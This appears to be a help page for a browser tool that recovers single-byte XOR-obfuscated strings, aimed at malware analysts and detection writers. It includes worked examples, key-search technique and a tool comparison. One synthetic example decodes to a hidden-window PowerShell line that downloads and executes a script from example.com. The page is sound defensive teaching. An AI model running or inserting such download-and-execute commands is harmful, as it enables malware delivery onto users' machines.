Byte-level encodingUpdated 15-Sep-26|2 worked examples

Decode XOR-Obfuscated Strings

Paste a hex or base64 blob that hides a URL or a command behind a single-byte XOR and get the plain text back, without being told the key.

XOR obfuscation hides a string by combining its bytes with a key byte, which turns a URL or a command into a blob that is usually carried as hex or base64. The same operation reverses it, so the text comes back once the key is known, and for a single-byte key the key can be recovered from the sample itself. KlaroSkope reverses the layers statically and returns the recovered text with any URL or host it contains, treating the payload as data rather than running it.

A split panel: a hex blob on the left, a chevron, and the URL recovered under key 0x41 on the right in green.

Search for the XOR key

Runs in your browser. The text you paste is not uploaded.

All 256 single-byte keys are tried and the results ranked on whether they read as something. The top five are listed so you can judge them yourself rather than trust the ranking.

Worked examples

Synthetic samples. Each input decodes to the output shown, and the outputs are checked against the live engine before publication.

Example 1: Hex blob hiding a stage-two URL

Input
29353531327b6e6e2439202c312d246f222e2c6e3235202624736f23282f
Decoded output
https://example.com/stage2.bin

The common case in a loader: a short hex string whose bytes are one XOR away from the address of the next stage. The key is not written anywhere in the sample.

Example 2: Hex blob hiding a PowerShell download line

Input
253a223027263d303939757822753d3c3131303b757836751c100d7d1b3022781a373f303621751b30217b02303716393c303b217c7b313a223b393a34310621273c3b327d773d212125266f7a7a302d34382539307b363a387a34777c
Decoded output
powershell -w hidden -c IEX(New-Object Net.WebClient).downloadString("https://example.com/a")

A whole command rather than a single string. Recovering it gives both the URL and the execution method, which is what a detection rule needs.

Why XOR is the obfuscation attackers reach for

XOR combines two values bit by bit and returns 1 where the bits differ. Two properties make it attractive to a malware author. It is its own inverse, so the same short routine both hides and reveals the string and there is no second function to write. And it is one instruction, so it costs almost no runtime and adds little recognisable code to the sample. Applied with a single key byte to a URL, the result is a run of bytes with no readable letters, which is then carried as hex or base64 because arbitrary bytes do not survive being pasted into a script file. This is encoding rather than encryption: there is no key exchange and no cryptographic strength behind it. Its purpose is to defeat string matching and casual reading, and against that it works well enough to stay in constant use.

text
ONE BLOB, THREE CANDIDATE KEYS
------------------------------
key 0x2a   (23 of the 30 bytes are control characters)   discard
key 0x13   :&&"!h}}7*3?">7|1=?}!&357`|0;<   discard: printable, but text of no kind
key 0x41   https://example.com/stage2.bin   keep: reads as a URL

Printable is not the test. Reading as something is the test.

The key is the interesting part, because a sample rarely states it. A single key byte has 256 possible values, one of which (0x00) returns the input unchanged, so 255 of them actually transform it. That is a small enough space to try in full; the work is not the trying but the deciding, since each candidate produces a result and only one of them is the text. Scoring the candidates on what plausible text looks like (character frequency, the presence of printable runs, whether a URL scheme or a known command appears) is what separates the answer from 254 pieces of noise. Multi-byte and repeating keys behave differently. A random key as long as the plaintext does not yield to a search at all. A short repeating key is approached by establishing the key length first, using coincidence counting or Hamming-distance scoring across candidate lengths, and then treating each key position as its own single-byte problem. A key that is itself a word or a path often falls faster to crib dragging, where a guessed fragment of plaintext such as http or MZ is slid along the blob to expose the key bytes underneath it. A practical shortcut worth knowing is that a run of null bytes in the original, which is common in padded structures, leaks the key directly, because a null XORed with the key is the key.

Working through an XOR blob safely

  • Establish the transport layer first. The blob is usually hex or base64 wrapping the XORed bytes, so decode that layer before searching for a key. Running a key search against base64 text rather than the bytes underneath it yields noise and looks like a failed decode.
  • Judge a candidate by content, not by whether it is printable. A wrong key can yield printable characters, so the test that matters is whether the result reads as something: a URL, a path, a command, a recognisable header.
  • Treat the recovered text as data. Decoding a command does not mean running it, and a recovered stage-two URL is for blocking and for controlled retrieval rather than for pasting into a browser.
  • Keep going after the first success. An XOR layer often sits over a second encoding, so a decode that produces another blob has done its job and left you one layer further in.

For detection work the recovered string is worth more than the blob it came from, but the blob has value too. A key byte that stays constant across samples in a campaign is a usable signature, and so is the wrapper shape: the length of the hex run, the way the bytes are stored, the routine that applies the key. Writing a rule against the decoded URL alone tends to age badly, since infrastructure rotates faster than the builder does. The XOR key epidemic covers that pattern in more depth.

A key that does not change is a signature

Some builders ship a default key and most operators leave it alone, which turns the key into a durable detail. Cobalt Strike is the documented example: its beacon configuration is obscured with a single hardcoded byte, 0x69 in version 3 and 0x2e in version 4, a fact independent teams have reported and built tooling around (SentinelLabs, 11 May 2020; NCC Group, 25 March 2022). Config extractors try those two before falling back to all 256. That is the general lesson in miniature: the recovered URL expires when the infrastructure rotates, and the key byte tends to outlive it.

One structural weakness is worth committing to memory, because it turns a search into a read. A null byte combined with the key returns the key, so any run of padding in the original leaks it directly, which is why padded headers and structure-heavy formats give up their keys so readily. Sikorski and Honig cover it in the data-encoding chapter of Practical Malware Analysis (2012) along with the countermeasure some builders adopt, a null-preserving variant that skips the byte when the plaintext is a null or equals the key.

The standard tools, and what each is for

Defensive tooling for XOR-obscured data
XORSearch
OriginDidier Stevens
What it doesSearches a file for a string under XOR, ROL, ROT or SHIFT, trying keys 0 to 255
XOR Brute Force
OriginCyberChef, GCHQ
What it doesEnumerates keys in the browser, with an optional crib to filter; key length is capped at 2
bbcrack, balbuzard
OriginPhilippe Lagadec
What it doesBrute-forces XOR, ROL and ADD and scores for patterns of interest
xortool
Originhellman
What it doesEstimates repeating-key length from character repetition, then solves each position
FLOSS
OriginMandiant
What it doesRecovers obscured strings from binaries by emulating the routine that decodes them

Two of those deserve a note. CyberChef's brute force is capped at a two-byte key because it runs in the page, so a longer repeating key needs xortool or an equivalent to establish the length first. And FLOSS is not a key search at all: it emulates the decoding routine inside a binary, which is the right tool when the key is computed rather than stored, and the wrong one for a loose hex blob.

The recovered string ages out when the infrastructure rotates. The routine that applies the key does not, so submit the whole file when you intend to write a rule rather than block one address.

Frequently Asked Questions

Q

What is single-byte XOR obfuscation?

Each byte of a string is combined with one key byte using the XOR operation, producing a blob with no readable letters. The same operation with the same key restores the original, which is why one short routine serves both directions.
Q

Can XOR be broken without the key?

For a single key byte, yes. There are 256 possible key values, so trying each and scoring the results for plausible text recovers the string. A repeating key needs its length established first, which is what coincidence counting and Hamming-distance scoring are for. A random key as long as the message resists both, although malware keys that long are frequently a repeated word or path and fall to crib dragging.
Q

Is XOR encryption?

It is better described as encoding when used this way. There is no key management and no cryptographic strength; the intent is to defeat string matching and quick reading rather than to resist analysis by someone who is looking.
Q

Why does my XOR decode return noise?

Usually because the transport layer is still in place. If the blob is hex or base64, decode that first and apply the key search to the bytes underneath. Applying a key to the text of a base64 string yields noise rather than the payload.
Q

Should I write detection rules against the decoded string or the blob?

Both, for different lifetimes. The decoded URL is precise but rotates quickly. The key byte, the wrapper shape and the routine that applies the key tend to persist across a campaign and make the more durable signature.

Found this useful? Sharing is caring!

Ready to decode?

Paste the script or upload the file. Multi-layer samples continue past this technique into whatever comes next.

Open the analysis console